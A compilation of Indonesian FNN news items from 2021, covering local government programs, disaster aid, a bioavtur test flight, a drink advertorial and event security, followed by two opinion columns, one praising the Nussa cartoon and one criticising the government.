Pemkot Jakarta Pusat Panen Ikan untuk Ketahanan Pangan dan Gizi Warga

Jakarta, FNN - Pemerintah Kota Jakarta Pusat melakukan panen berbagai jenis ikan untuk ketahanan pangan dan peningkatan kebutuhan gizi warga, termasuk anak-anak kategori "stunting" di daerah itu. Wali Kota Jakarta Pusat Dhany Sukma mengatakan sekitar 30 kilogram ikan dari berbagai jenis, seperti nila, bawal dan mujair merupakan hasil panen dari 10 ribu bibit ikan yang ditebar pada peringatan Hari Lingkungan Hidup Sedunia (HLHS) pada 5 Juni 2021. "Setelah empat bulan, kita sudah bisa memanen ikan. Jadi, nilai manfaatnya kita bisa memanfaatkan aset-aset untuk membentuk ketahanan pangan, baik dari ikan maupun sayur-sayuran," kata Dhany pada panen ikan di Embung Pangeran Jayakarta, Sawah Besar Jakarta Pusat, Rabu. Stunting adalah masalah kurang gizi kronis karena kurangnya asupan gizi dalam waktu yang cukup lama, sehingga mengakibatkan gangguan pertumbuhan pada anak yakni tinggi badan anak lebih rendah atau pendek (kerdil) dari standar usianya. Dhany menjelaskan bahwa ikan hasil panen akan diberikan sebagai asupan tambahan dalam penanggulangan "stunting". Upaya peningkatan gizi dilakukan melalui kelompok masyarakat yang masuk dalam program data terpadu kesejahteraan sosial (DTKS). Sementara itu, Kepala Sudin Ketahanan Pangan, Kelautan dan Pertanian (KPKP) Kota Administrasi Jakarta Pusat Penty Yunesi mengatakan ikan hasil panen diberikan salah satunya di Kelurahan Mangga Dua Selatan. "Untuk kontribusi penurunan 'stunting', kebetulan ini Kelurahan Mangga Dua Selatan masuk ke dalam kriteria 'stunting'," kata Penty. Pelaksanaan panen ikan di Embung Jayakarta juga dilakukan sebelum embung tersebut difungsikan sebagai penampungan air dalam mengantisipasi banjir. Dalam setahun, setidaknya Sudin KPKP Jakarta Pusat memberikan sekitar 100 ribu benih ikan melalui unit pelaksana teknis (UPT) pusat produksi inspeksi dan sertifikasi hasil perikanan. (mth)

Yayasan Abhhya Parama Selenggarakan Pemilihan Duta Pariwisata

Denpasar, FNN - Yayasan Abhhya Parama MavendraI menyelenggarakan Pemilihan Duta Pariwisata Tingkat Nasional di Bali yang diikuti 34 provinsi pada 9-14 November 2021. Ketua Yayasan Abhhya Parama MavendraI, Putu Andre Purnama Mavendra saat bertatap muka dengan Wakil Wali Kota Denpasar Kadek Agus Arya Wibawa di Denpasar, Rabu mengatakan acara itu akan mengundang para duta pariwisata terbaik daerah untuk datang ke Bali. Ia mengatakan mereka yang datang ke Bali bisa melihat kondisi pariwisata dan menemukan solusinya untuk mempromosikan Bali yang sudah siap menerima wisatawan. Tidak hanya itu momentum ini juga waktu yang tepat untuk generasi muda berkarya dalam mempromosikan pariwisata Pulau Dewata. "Untuk mensukseskan kegiatan ini kami mohon dukungan Pemerintah Kota Denpasar khususnya Wali Kota dan Wakil Wali Kota Denpasar," kata Andre. Putu Andre yang juga koordinator sponsorship dalam kegiatan Pemilihan Duta Pariwisata Indonesia menambahkan segenap tim telah bekerja keras demi lancarnya kegiatan Pemilihan Duta Pariwisata Indonesia dan menyatakan bahwa tidak akan menyia-nyiakan kesempatan dan kerja sama ini. Ia mengharapkan kegiatan tersebut dapat memberikan dampak baik bagi pariwisata dan membantu menghidupkan kembali sektor pariwisata serta UMKM. Karena para duta terbaik ini tidak hanya mempromosikan budaya dan pariwisata daerah mereka masing-masing atau Bali. Tapi mereka juga akan mendapat pembekalan khusus mengenai produk UMKM dan pengembangannya. "Kami sangat terbuka sekali kepada seluruh pihak untuk bekerja sama dengan kami, terutama dalam hal mempromosikan pariwisata Bali," ujarnya. Wakil Wali Kota Denpasar I Kadek Agus Arya Wibawa menyambut baik kegiatan tersebut. Untuk ikut serta mensukseskan kegiatan ini, pihaknya minta dinas terkait untuk mengkoordinasikan perihal apa yang bisa dibantu. Mengingat lisensi penyelenggaraan Pemilihan Duta Pariwisata Indonesia Tahun 2021 langsung dari anak muda kreatif yakni Tim Yayasan Abhhya Parama Mavendra. "Saya sangat mendukung sekali generasi muda kreatif dan berani seperti kedua pemuda ini. Saya berharap ke depan kerja sama ini akan berlanjut, dan saya sangat mendukung kegiatan Pemilihan Duta Pariwisata Indonesia," ujar Arya Wibawa. (mth)

Kemenkeu Ingatkan Sumsel Akselerasi Serapan Dana COVID

Palembang, FNN - Direktorat Jenderal Perbendaharaan Negara Kemenkeu mengingatkan satuan kerja kementerian/lembaga di Provinsi Sumatera Selatan mengakselerasi penyerapan dana APBN yang khusus dialokasikan negara untuk penanganan COVID-19. Kepala Kantor Wilayah Direktorat Jenderal Perbendaharaan Provinsi Sumatera Selatan Lydia K Christyana di Palembang, Sumsel, Rabu, mengatakan, data menunjukkan per 30 September 2021 tercapai Rp199,3 miliar atau 43,83 persen dari target Rp454,8 miliar. "Kami meminta dipercepat, karena waktu efektif tinggal dua bulan lagi dan di Desember biasanya sudah tidak ada lagi kegiatan," kata Lydia dalam konferensi pers secara virtual. Ia mengatakan pemerintah telah menyediakan 19 item akun kegiatan dalam penyerapan dana COVID-19 tersebut. Data terkini menunjukkan untuk belanja barang terealisasi Rp33,82 miliar dari pagu anggaran Rp73,97 miliar atau tercapai 46 persen dari target. Kemudian, untuk belanja modal terealisasi Rp165,55 miliar dari pagu anggaran Rp380,92 miliar atau tercapai 43 persen dari target. Jika diamati dari besaran nominal realisasi, penyaluran dana penanganan COVID-19 di Sumsel tertinggi dilakukan Kementerian Pertanian yaitu sebesar Rp72 miliar, disusul Kemenkes Rp66 miliar dan Kementerian Pekerjaan Umum dan Perumahan Rakyat Rp29 miliar. Namun, apabila dilihat dari persentase tingkat penyerapan/realisasi, maka persentase tertinggi dilakukan Kementerian Kelautan dan Perikanan 97,66 persen, disusul Kementerian Perdagangan 92,29 persen, dan Badan Pengawasan Obat dan Makanan 87,30 persen. Berdasarkan capaian terkini ini, Ditjen Perbendaharaan Negara meminta kementerian/lembaga dan satker untuk melakukan akselerasi sehingga mampu menyerap 100 persen dari anggaran APBN tersebut. "Ini menjadi tantangan bagi kami untuk menyadarkan satker kementerian/lembaga untuk mengakselerasi. Karena, jika lebih cepat, tentu akan berkontribusi pada pembentukan PDRB Sumsel," kata Lydia. (mth)

Pemkot Palembang Dorong Semua OPD Programkan Pengentasan Kemiskinan

Palembang, FNN - Pemerintah Kota Palembang, Sumatera Selatan berupaya mendorong semua organisasi perangkat daerah (OPD) di lingkungan pemkot setempat memprogramkan kegiatan yang dapat mempercepat pengentasan kemiskinan. "Angka kemiskinan di kota ini masih cukup tinggi, untuk mengentaskannya diperlukan kerja bersama semua OPD, karena tidak mungkin hanya dilakukan Dinas Sosial saja," kata Wakil Wali Kota Palembang Fitrianti Agustinda di Palembang, Rabu. Menurut dia, pihaknya berupaya keras menurunkan angka kemiskinan yang sekarang ini sekitar 10 persen menjadi satu digit sesuai target yang diharapkan. Untuk menurunkan angka kemiskinan tersebut, membutuhkan koordinasi dan konsolidasi antar-OPD di jajaran Pemkot Palembang melalui berbagai program yang dapat meningkatkan kesejahteraan warga kota setempat. Dalam beberapa tahun terakhir, pihaknya telah menjalankan sejumlah program untuk menanggulangi masalah kemiskinan di Bumi Sriwijaya itu. Untuk mendukung program pengentasan kemiskinan yang telah berjalan dengan baik selama ini lebih optimal, sudah ada peraturan wali kota (perwali) dan pelaksanaannya dievaluasi secara berkala. Melalui upaya tersebut, program pengentasan kemiskinan bisa berjalan lebih baik dan efektif sehingga target menurunkan angka kemiskinan menjadi satu digit dapat segera tercapai, ujar Wawako. (mth)

Pemkab Batang Dukung Kampung Jamune Jadi Sarana Pemberdayaan Perempuan

Batang, FNN - Pemerintah Kabupaten Batang, Jawa Tengah, mendukung kelompok usaha bersama (KUB) "Kampung Jamune Bu'e" menjadi sarana edukasi dan media pemberdayaan perempuan dalam upaya pemulihan ekonomi di tengah pandemi. Kepala Dinas Perindustrian, Perdagangan, Koperasi, dan UKM (Disperindagkop dan UKM) Kabupaten Batang Subiyanto di Batang, Rabu, mengatakan bahwa pihaknya siap mendukung penuh upaya yang dilakukan oleh ibu-ibu untuk melakukan pemulihan ekonomi sekaligus melestarikan ramuan minuman jamu tradisional. "Kami akan terus mendorong dan mendukung upaya yang dilakukan para ibu-ibu untuk ikut dalam pemulihan ekonomi di tengah pandemi," katanya. Subiyanto mengatakan sejak zaman nenek moyang, jamu telah dikenal khasiatnya untuk kesehatan tubuh manusia. "Akan tetapi, seiring kemajuan zaman kini jamu pun mulai bertransformasi menjadi lebih modern seperti yang ada di 'Kampung Jamune Bu’e' yang berupaya menjadi sarana edukasi dan media pemberdayaan perempuan KUB," katanya. Penanggung jawab Kelompok Usaha Bersama Kampung Jamune Bu’e Sukoningsih mengatakan ide tersebut muncul bukan hanya karena banyaknya penjual jamu gendong tetapi karena kaum ibu yang ingin menunjukkan kepeduliannya terhadap kelestarian ramuan tradisional agar dikenal kaum milenial, memberdayakan potensi yang dimiliki lingkungan sekitar, dan ikut membantu ekonomi keluarga. "Kami memberdayakan para bakul (penjual) jamu gendong yang ada di sekitar daerah ini. Adapun produk jamu seperti beras kencur, kunir asem, sirih, manjakani, sehat wanita, sehat pria, lempuyang, temulawak, dan empon-empon," katanya. Ia mengatakan pembentukan "Kampung Jamune Bu’e" yang diinisiasi oleh kaum ibu bersama lima orang penjual jamu gendong ini ingin memodernisasikan jamu agar makin dikenal anak muda. "Selama pandemi omzet yang didapat mencapai Rp200 ribu per hari. Oleh karena itu, kami berharap setelah pemberlakuan pembatasan kegiatan masyarakat (PPKM) dan pandemi berakhir akan terjadi peningkatan penjualan jamu," katanya. (mth)

Asupan Serat Penting untuk Jaga Stamina dan Imun

Jakarta, FNN - Semua orang, terlebih atlet perlu mengonsumsi makanan sehat, termasuk sayuran dan buat agar kebutuhan serat tubuh tercukupi untuk menjaga stamina bahkan imun. Namun, tidak bisa dipungkiri bahwa masih ada beberapa orang yang kurang dalam mengonsumsi sayur dan buah, padahal hal itu penting untuk memenuhi kebutuhan serat harian. Terutama para atlet di pagelaran PON XX Papua, dalam perhelatan olahraga ini mereka harus tetap sehat demi memenangkan medali untuk provinsi yang diwakilinya. Untuk itulah minuman berserat Scrubber hadir sebagai Official Partner Healthy Drink PON XX Papua. Melalui dukungan ini, Scrubber sekaligus meningkatkan awareness masyarakat tentang pentingnya kebutuhan serat dalam tubuh. Rakhmat Ganda, Brand Manager Scrubber, dalam siaran persnya Rabu mengatakan scrubber merupakan minuman High Fiber yang dapat memenuhi asupan serat harian dan membantu melancarkan pencernaan. Serat selain dapat membantu melancarkan pencernaan, serat juga dapat membantu meningkatkan imun tubuh sehingga daya tahap tubuh menjadi lebih baik. Asuran serat yang pas juga dapat membantu menaikkan imun tubuh, terlebih lagi para atlet harus tetap fit selama bertanding di masa pandemi ini. Minuman Hi - Fiber yang dapat memenuhi asupan serat dan membantu melancarkan pencernaan ini bisa didapatkan di apotek, minimarket, Enesis Official Store, dan lokapasar. Minuman ini mengandung bakteri baik (probiotik), yakni Bacillus coagulans yang melawan bakteri jahat di usus. Oligosakarida sebagai makanan bakteri baik di saluran pencernaan, sedangkan bermacam serat (Psyllium husk, Polidekstrosa) dapat membersihkan sisa makanan. (mth)

Risma Siapkan Delapan Titik "Buffer Stock" untuk Penyintas Banjir Luwu

Jakarta, FNN - Menteri Sosial Tri Rismaharini menyiapkan delapan titik buffer stock atau stok kebutuhan pengaman sebagai respon untuk penyintas bencana tanah longsor dan banjir bandang di Kabupaten Luwu, Provinsi Sulawesi Selatan. “Ini harus diantisipasi. Di sini wilayahnya pegunungan dan aksesnya sulit. Harus dipastikan kebutuhan logistik masyarakat tetap bisa disiapkan, jika terjadi bencana di kemudian hari,” kata Risma dalam keterangannya yang diterima di Jakarta, Rabu. Saar mengunjungi lokasi bencana tanah longsor dan banjir bandang di Desa Ilanbatu, Kecamatan Walenrang Barat, Kabupaten Luwu, Provinsi Sulawesi Selatan (6/10), melalui observasi sepanjang perjalanan menuju lokasi didapati banyak titik-titik longsor. “Nah kalo terjadi longsor. Kemudian akses tertutup, yang saya khawatirkan kebutuhan pangan dari warga di beberapa titik ini tidak bisa terpenuhi,” kata dia. Dengan mendengarkan masukan dan pengamatan langsung, Mensos mengidentifikasi ada delapan titik lokasi rawan. Pada delapan titik inilah Kemensos akan mendirikan tempat penyediaan buffer stock. Pada setiap tempat tersebut akan disiapkan kebutuhan pokok berupa makanan siap saji, selimut, tenda gulung, family kit, matras, kasur lipat, beras, air bersih dan bahan bakar minyak. “Dengan adanya buffer stock (yang mudah diakses) diharapkan kebutuhan pangan masyarakat tidak terganggu,” katanya. Dia menjelaskan, untuk memastikan kelancaran penyediaan "buffer stock" , Kemensos akan bekerja sama dengan Bupati Luwu, Polri dan TNI. Secara bersama-sama dan terkoordinasi, instansi terkait tersebut akan menentukan beberapa titik yang ada rumahnya sebagai tempat penyediaan buffer stock. Selain akses jalan, bencana juga menimbulkan kerusakan pada alur sungai dan prasarana komunikasi. Untuk itu Risma akan berkordinasi dengan Kementerian PUPR dan Kementerian Kominfo agar melakukan perbaikan. Di lokasi bencana, Risma dan rombongan berkeliling dan melihat dari dekat prasarana yang rusak diterjang banjir dan longsor. Risma juga meninjau dapur umum yang dikelola Tagana yang memasok makanan siap saji untuk penyintas bencana. Dia juga menyambangi posko kesahatan, shelter logistik dan kebutuhan para korban. Kepada masyarakat setempat, Risma menyampaikan duka mendalam untuk korban meninggal dunia. Dia memotivasi agar keluarga tabah dan ikhlas dalam menerima cobaan. Dia juga menyatakan, pemerintah pusat, daerah dan instansi terkait bekerja membantu meringankan beban masyarakat. Dalam kesempatan tersebut, Risma juga memberikan santunan kepada 4 ahli waris korban meninggal dunia akibat bencana yang terjadi pada Minggu (3/10), masing-masing sebesar Rp15 juta, sehingga totalnya Rp60 juta. Kemensos telah hadir sejak bencana terjadi melalui Tagana, dengan menyalurkan bantuan. Dari Gudang Regional Makassar, disalurkan bantuan berupa makanan siap saji sebanyak 300 paket, makanan anak 600 paket, matras 200 lembar, selimut 200 lembar, family kids 200 paket, tenda gulung merah 200 paket, dan satu unit perahu karet. Nilai total bantuan ini Rp306.036.300. Kemudian dari Gudang Dinsos Provinsi Sulsel berupa makanan anak 100 paket, makanan siap saji 181 paket, matras 50 paket, tenda gulung merah 70 lembar, selimut 15 lembar, kasur 30 unit, peralatan dapur keluarga 15 paket, food ware 25 paket, family kit 100 paket, kids ware 50 paket. Dengan nilai bantuan Rp138.499.123. Dengan demikian, total bantuan sebesar Rp504.535.423. (mth)

Sebanyak 5.000 Tentara Dikerahkan Jaga "WorldSBK" di Sirkuit Mandalika

Mataram, FNN - TNI mengerahkan sebanyak 5.000 personel untuk mengamankan perhelatan World Superbike (WorldSBK) di Sirkuit Mandalika pada 19-21 November 2021 mendatang. "Personel yang turun dalam pengamanan nanti ada dari TNI AD, TNI AL, dan TNI AU," kata Komandan Korem 162/Wira Bhakti, Brigadir Jenderal TNI Ahmad Rizal Ramdhani, di Mataram, Rabu. Ia menyiapkan 3.000 personelnya dari Korem 162/Wira Bhakti. "Sisanya ada perbantuan dari Kodam IX/Udayana dan Mabes TNI," ujarnya. Dalam giat pengamanan ini, kata dia, TNI tetap membangun koordinasi dengan Polda NTB sebagai bagian dari penguatan sistem pengamanan. "Koordinasi ini sebagai bentuk komitmen bersama agar event kelas dunia ini berjalan dengan sukses," ucap dia. Apabila acara ini berjalan sukses, kata dia, tentu akan memberikan dampak positif pada peningkatan ekonomi dan kesejahteraan masyarakat, khususnya di tengah pandemi Covid-19. Karena itu dia berharap agar masyarakat memberikan dukungan penuh terhadap jalannya perhelatan kelas dunia ini dengan ikut serta dalam menjaga kondusifitas keamanan. Senada dengan dia, Komandan Pangkalan TNI AL Mataram, Kolonel Pelaut Suratun, mereka telah berkomitmen menyukseskan WorldSBK dari segi pengamanan laut. "Nanti akan ada kapal yang mampu melakukan pengamanan di kawasan laut wilayah selatan Pulau Lombok," ujar Suratun. Mereka juga akan membantu pengamanan di pintu pelabuhan, khususnya yang ada di Pulau Lombok. "Seperti di Pelabuhan Lembar dan Pelabuhan Kayangan di Lombok. Nanti pengamanannya kita koordinasikan dengan pemangku kepentingan terkait," ucapnya. Dalam pengamanan itu mereka akan turut memantau dan mengawasi aktivitas kapal pesiar dan angkutan barang. "Segala aktivitas di pelabuhan akan kita awasi," kata dia. Begitu juga dengan yang disampaikan Komandan Pangkalan TNI AU Zainuddin Abdul Madjid, Kolonel Perbang Khariun Aslam. Sesuai dengan perannya, TNI AU akan melakukan pengamanan ketat di kawasan bandara. "Pengamanan bandara kita berkoordinasi dengan pihak bandara dan stakeholder lainnya," ucap Khariun. Pengamanan aktivitas di helipad KEK Mandalika serta persiapan sistem kesenjataan juga demikian. Segala kebutuhan pengamanan akan tetap berada dalam koordinasi terpusat. (mth)

Menteri ESDM: Sejarah Baru, Uji Terbang Bandung-Jakarta Pakai Bioavtur

Jakarta, FNN - Pemerintah Indonesia memantapkan langkah mendukung penurunan emisi karbon dunia melalui uji coba penerbangan pesawat CN235-220 FTB rute Bandung-Jakarta dengan bahan bakar nabati bioavtur. Menteri Energi dan Sumber Daya Mineral (ESDM) Arifin Tasrif dalam penyataannya di Jakarta, Rabu, mengatakan sejarah baru tercatat melalui keberhasilan uji penerbangan pesawat CN235-220 FTB dari Bandung menuju Jakarta menggunakan bahan bakar nabati campuran minyak inti kelapa sawit. "Keberhasilan ini akan menjadi tahap awal dalam peningkatan kontribusi bioavtur di sektor transportasi udara dalam rangka meningkatkan ketahanan dan keamanan energi nasional," ujarnya. Arifin menjelaskan bahwa Peraturan Kementerian ESDM nomor 12 tahun 2015 mengatur kewajiban pencampuran bahan bakar nabati dalam bahan bakar jenis avtur dengan persentase sebesar 3 persen pada 2020. Adapun pada 2025 porsinya akan meningkat menjadi 5 persen. Namun, implementasi pencampuran bioavtur belum berjalan karena berbagai kendala mulai dari ketersediaan produk bioavtur, proses teknologi, dan juga keekonomian. "Perjalanan panjang sudah dilalui sampai saat ini dengan melibatkan banyak pihak," ujar Menteri Arifin. Kegiatan co-processing bioavtur skala laboratorium dimulai di Pusat Rekayasa Katalis Institusi Teknologi Bandung dengan menggunakan bahan baku refined bleaced degummed palm kernel oil (RBDPKO) dengan katalis Merah Putih. Kemudian selanjutnya dilakukan uji coba produksi co-processing skala industri di Refinery Unit IV Cilacap PT Pertamina (Persero) menghasilkan J2.0 pada 2020 dan J2.4 pada awal 2021. Serangkaian uji coba teknis dilakukan pada tanggal 8 sampai 10 September 2021. Hasil uji menunjukkan bahwa produk J2.4 dapat memenuhi spesifikasi bahan bakar avtur sesuai Keputusan Direktur Jenderal Migas Nomor 35 Tahun 2021 atau dapat dikatakan secara spesifikasi produk J2.4 dapat digunakan sebagai pengganti avtur murni. "Penelitian dan pengembangan harus terus dilakukan untuk nantinya dapat menghasilkan produk J100 dan penggunaan bioavtur dapat diterapkan pada seluruh maskapai di Indonesia dan juga maskapai penerbangan mancanegara," ucap Menteri Arifin. Produk bioavtur J2.4 buatan Pertamina mengandung bahan bakar nabati dari minyak inti kelapa sawit sebanyak 2,4 persen melalui teknologi katalis. Kontribusi perseroan dalam mengembangkan bahan bakar nabati pesawat tersebut dilakukan meliputi dua tahap penting. Tahap pertama ditandai dengan proses hydrodecarboxylation dengan target awal adalah produksi diesel biohidrokarbon dan bioavtur dalam skala laboratorium. Sedangkan tahap kedua ditandai dengan proses hydrodeoxygenation berupa diesel biohidrokarbon yang lebih efisien. Pada 2020, Kilang Dumai berhasil memproduksi diesel biohidrokarbon yang 100 persen berasal dari bahan baku nabati, yaitu refined bleached deodorized palm oil (RBDPO). RBDPO adalah minyak kelapa sawit yang sudah melalui proses penyulingan untuk menghilangkan asam lemak bebas serta penjernihan untuk menghilangkan warna dan bau. Tahap awal tersebut menjadi langkah penting pengembangan produk hijau, termasuk diesel hijau dan bioavtur. (mth)

Bukti Kegagalan Misi Buzzer Pemecah Belah Bangsa: Nussa Diserang, Nussa Makin Disayang! (2)

Oleh: Agi Betha Nussa, Si Anak Ajaib yang Tumbuh Pesat Serial animasi Nussa memang patut diacungi jempol. Baru 2 tahun tayang lewat platform Youtube, jumlah subscribernya pada Januari 2021 sudah mencapai 7 juta lebih. Di awal tahun 2021 itulah serial Nussa diumumkan stop produksi karena terimbas pandemi. Puluhan kreator dan animator yang menjadi pekerja seninya terpaksa dirumahkan. Pihak Visinema dan studio animasi The Little Giantz yang tadinya akan menayangkan film Nussa versi layar lebar pada tahun 2020, juga menunda jadwal mereka akibat adanya PSBB. Meski demikian, dalam keadaan vakum itu, jumlah subscribers serial Nussa pada akun Nussa Official di Youtube malah melonjak 1 juta lebih, menjadi 8,3 juta. Yang menakjubkan, pada beberapa episode serial animasi anak itu mampu meraup penonton atau viewers berkali-kali lipat dari jumlah subscribersnya. Pada episode 'Makan Jangan Asal Makan' misalnya, mendapat 108 juta views, episode 'Rarra Sakit' ditonton 60 juta kali, 'Episode Compilation Vol.6' dilihat sebanyak 97 juta kali, 'Song Compilation Vol.1' meraih 92 juta pemirsa, dan 'Jadi Suka Sayur' memperoleh 49 juta views. Jelas ini sebuah prestasi luar biasa hasil karya anak bangsa. Kesuksesan Nussa adalah keberhasilan Indonesia. Nussa yang baru lahir pada bulan November 2018 telah mampu bersaing dengan tayangan kartun anak internasional yg sudah belasan tahun bahkan puluhan tahun merajai film animasi anak dunia, seperti Sponge Bob atau Doraemon yang juga tayang di kanal resmi Youtube mereka. Selain di media sosial, serial Nussa juga pernah tayang di Net, Indosiar, Trans TV, MNCTV, dan televisi berbayar Astro Ceria di Malaysia. Film Anak Yang Islami Hadir Kembali, Jutaan Penonton Menanti Nussa memang fenomenal. Lelaki cilik disable yang jiwanya selalu dipenuhi semangat itu, mampu membuat penggemarnya sabar menahan rindu. Sedianya Nussa The Movie baru akan tayang perdana di bioskop pada tanggal 14 Oktober 2021 nanti. Tapi sebelum itu Nussa akan diputar eksklusif lewat early special screening, atau dalam dunia perfilman layar lebar dikenal sebagai acara penayangan khusus, selama 2 hari. Tiket bioskop pada tanggal 25 dan 26 September 2021 itu kontan ludes diborong penonton. Akun IG Nussa mengumumkan tiket sudah habis. Tak lagi bersisa, jauh sebelum tanggal tayangnya. Padahal jelas-jelas pada poster bertajuk 'Nonton Duluan' yang diunggah oleh Instagram @nussaofficial itu dituliskan sejumlah syarat prokes yang ketat. Di situ tercantum semua film Nussa diputar di lokasi bioskop yang menyatu dengan mal. Artinya hanya warga yang telah divaksin saja yang dapat masuk. Anak usia di bawah 12 tahun tidak dapat masuk mal karena belum divaksin. Tapi ternyata hal itu tak menyurutkan animo penggemar yang merindukan aksi Nussa. Jadi siapakah penonton film Nussa, jika film itu bergenre anak-anak tapi hanya boleh ditonton oleh mereka yang berusia 12 tahun ke atas? Ternyata mereka yang antusias adalah para remaja dan orang dewasa. Unik memang, dan baru kali ini hal semacam itu terjadi pada sejarah film nasional. Film anak tapi tidak ditonton oleh anak. Ya, meski berkisah tentang Nussa kecil dan adiknya Rarra, tapi film animasi anak bertema islami itu pada kenyataannya juga digandrungi oleh segala usia. Tak ayal, pada tanggal 21 September atau 2 hari setelah pengumuman adanya jadwal penayangan khusus, tiket bioskop di Jakarta dan Surabaya sudah raib. Tak berselang lama, akun official Nussa berturut-turut mengumumkan bahwa tiket menonton di kota-kota lain juga sold out. Bioskop di 8 kota yang dipilih, yaitu Jakarta, Bekasi, Tangerang, Bogor, Depok, Surabaya, Yogyakarta, dan Makassar diserbu penonton. Kejadian di kolom komentar IG Nussa pun tak kalah serunya. Ribuan fans Nussa yang terpencar di hampir semua kota seperti Cilegon, Purwokerto, Solo, Medan, Bengkulu, Padang, Lampung, Palembang, Palangkaraya, dan Samarinda saling bersahutan berkomentar dan menanyakan kapan Nussa hadir di bioskop kota mereka. Kenapa Nussa Dicintai? Kisah kakak beradik Nussa dan Rarra memang dahsyat pengaruhnya kepada anak-anak dan orang tua. Sekali saja orang dewasa menonton salah satu serial Nussa di Youtube, maka akan terbersit pikiran bahwa itulah tontonan yang layak buat anak atau cucu mereka. Cara penyampaiannya yang sederhana, kalimat-kalimat percakapan antar tokohnya yang lucu dan menggemaskan, menjadikan film Nussa terlihat simpel tapi nendang. Ide cerita yang disampaikan langsung melekat di dalam ingatan penontonnya. Penulis baru pertama kali tahu tentang serial kartun Nussa tersebut sekitar 2 tahun lalu. Gegara mendengar anak yang mahasiswa dan adiknya yang pelajar SMA sering berceloteh tentang episode baru Nussa - Rarra. Mereka berdua lantas membahas tiap scenenya. Suara para dubber yang khas, karakter para tokoh yang sengaja dibuat tidak sempurna sehingga terkesan manusiawi, gambar animasi yang simpel tapi ciamik, dan pesan moral yang kuat, menjadikan Nussa sebagai animasi anak yang membumi. Meski tidak pernah diceritakan secara gamblang, di media sosial beberapa netizen mengatakan bahwa salah satu penggagas awal kartun tersebut adalah Ustadz Felix Siauw, meski kemudian UFS tidak terlibat dalam penggarapannya. Ide itu didasari oleh keprihatinan sang ustadz atas minimnya tontonan anak yang bermutu. Jika betul Felix Siauw menjadi salah satu pencetus ide, maka hal itu masuk akal karena ia piawai dalam menulis buku-buku bertema adab pergaulan remaja dan buku sejarah Islam. Di toko buku besar, buku-buku Felix Siauw terpajang di rak best seller. Karena penasaran kepada karakter Nussa - Rarra, saya pun jadi mengulik akun official serial Nussa - Rarra. Ingin mengetahui kekuatan kartun islami sederhana ini terletak di bagian apa. Saya amati, tiap episode animasi Nussa, selalu mengupas hanya satu angle. Menyampaikan perintah Allah pada satu ayat Al Qur'an saja atau sepenggal Sunnah Nabi Muhammad SAW saja. Satu ayat terpilih yang menjadi tema pokok itu disampaikan oleh penulis skenario dan sutradaranya dengan bahasa anak-anak. Konflik dua kakak beradik Nussa dan Rarra digarap secara lucu dan spontan. Pelajaran budi pekerti terkemas dalam bahasa sehari-hari. Akibatnya pesan yang disampaikan menempel di dalam benak siapa pun yang menonton. Jika orang tua tadinya tidak tahu tentang adanya sunnah atau ayat tersebut, maka kemudian mereka pun jadi ikut paham. Anak Indonesia Perlu Nussa dan Film Anak Bermutu Lainnya Para orang tua terutama ibu-ibu muda, umumnya menganggap serial Nussa di Youtube dapat meringankan pekerjaan mendidik anak-anak mereka. Ini dapat terlihat dari komentar-komentar yang tertulis di akun Instagram resmi Nussa. Mereka tidak perlu lagi membeli buku tentang tuntunan adab islami untuk anak-anaknya, karena contoh-contoh penting adab yang baik sudah ada di kartun Nussa - Rarra. Menurut para orang tua, film Nussa adalah anti klimaks dari tema-tema sinetron di televisi yang mempertontonkan kekerasan, caci maki, fitnah, bullying, kemewahan dan menjual seks verbal. Jika ada yg membenci dan memfitnah kartun ini, boleh jadi mereka adalah para kaki tangan cukong kapitalis. Mereka pantas merasa ngeri karena bisnis yang berbasis hedonisme, materialisme, dan seks bebas di masa depan akan terancam. Karena Nussa - Rarra menanamkan soal hidup sederhana sejak dini kepada anak-anak yang menjadi target segmentasinya. Mengajarkan tentang bagaimana cara bekerja keras, berdoa dengan hikmat, makan makanan halal, cara berinteraksi santun dengan sesama, menghormati pendapat yang berbeda, tidak boleh berlebihan dalam melakukan segala sesuatu, dan bersyukur atas nikmat Allah kepada umat-Nya. Sebetulnya para orangtua muslim, dan rakyat Indonesia umumnya, akan kehilangan besar dengan berhenti produksinya serial Nussa. Adab Islam yg menentang korupsi, melarang hidup foya-foya, harus selalu sayang kepada orangtua dan hormat terhadap yang lebih tua, sikap mengasihi binatang, cara berpakaian sopan, tidak boleh berkata kasar kepada sesama dan sebagainya, semua diajarkan dengan bahasa anak-anak dan disampaikan oleh anak-anak di dalam kartun tersebut. Indonesia dengan jumlah muslim sedikitnya 220 juta, mestinya bisa bergotong-royong mengongkosi produksi kartun Nussa - Rarra atau animasi lain sejenisnya, agar tidak kalah oleh pandemi atau keadaan lemah ekonomi lainnya. Kartun Nussa adalah salah satu cara menyelamatkan adab anak-anak Indonesia, di tengah gerusan dahsyat tontonan sekuler yang merebak di mana-mana. (Selesai) Penulis adalah Wartawan Senior FNN.co.id

Mati Berdiri Ala Indonesia

Oleh Yusuf Blegur Ini bukan puisi. Apalagi ilusi. Juga bukan imajinasi. Mungkin mirip seperti kontemplasi. Bercampur dengan obsesi yang tak menjadi hakiki. Ini tentang sunyinya aspirasi. Mencoba setengah revolusi, meski tertatih-tatih dan di ambang frustasi. Negaranya kaya luar biasa. Sumber daya alamnya di mana-mana. Sayangnya bukan anak negeri yang menguasai dan mengelola. Buminya berlimpah harta. Rakyat membayar 405 Triliun sekedar bunganya. Sementara hutang pokoknya negara tak terkira. Rakyat hidup sengsara, juga ditambah menanggung pajak beraneka. Ada yang hidup miskin semakin miskin, ada yang hidup kaya semakin kaya. Pejabatnya hidup dari jatah proyek negara. Pemimpinnya menikmati komisi pembangunan yang sia-sia. Banyak tokoh menjual citra dan basa basi. Pemerintah dan politisi beraksi dengan janji-janji. Pucuk birokrasi menjadi tirani sambil membunuh demokrasi. Kekuasaan keji tak punya hati, tak punya nurani. Haus gengsi dan puja puji. Bawahan setia menjadi keset dan anjing penggonggong. Koalisi terus menjulur lidahnya, menjilat-jilat ke sana-sini. Merapat saling bersiasat dalam konspirasi. Lapar kenikmatan dunia tak bertepi. Berkerumun berebutan menyantap oligarki. Menikmati hegemoni dan dominasi politik ekonomi. Rakyat dijejali pandemi. Kehadiran agama dibatasi. Ulama dan Kyai sejati dibenci. Habaib yang berani semakin dimusuhi. Penyelenggara negara semakin abai dari mengingat kebesaran Tuhan. Mengagungkan sistem hidup tanpa religi. Oposisi bersikap hati-hati. Sambil terus mengamati dan sesekali bereaksi. Kesadaran rakyat menepi. Berhitung melakukan aksi dan demonstrasi. Kreatifitas dan aspirasi dikebiri. Kalau selamat menemui jeruji. Perlawanan sengit diburu sampai mati. Sampai kapan luka bangsa terus menganga?. 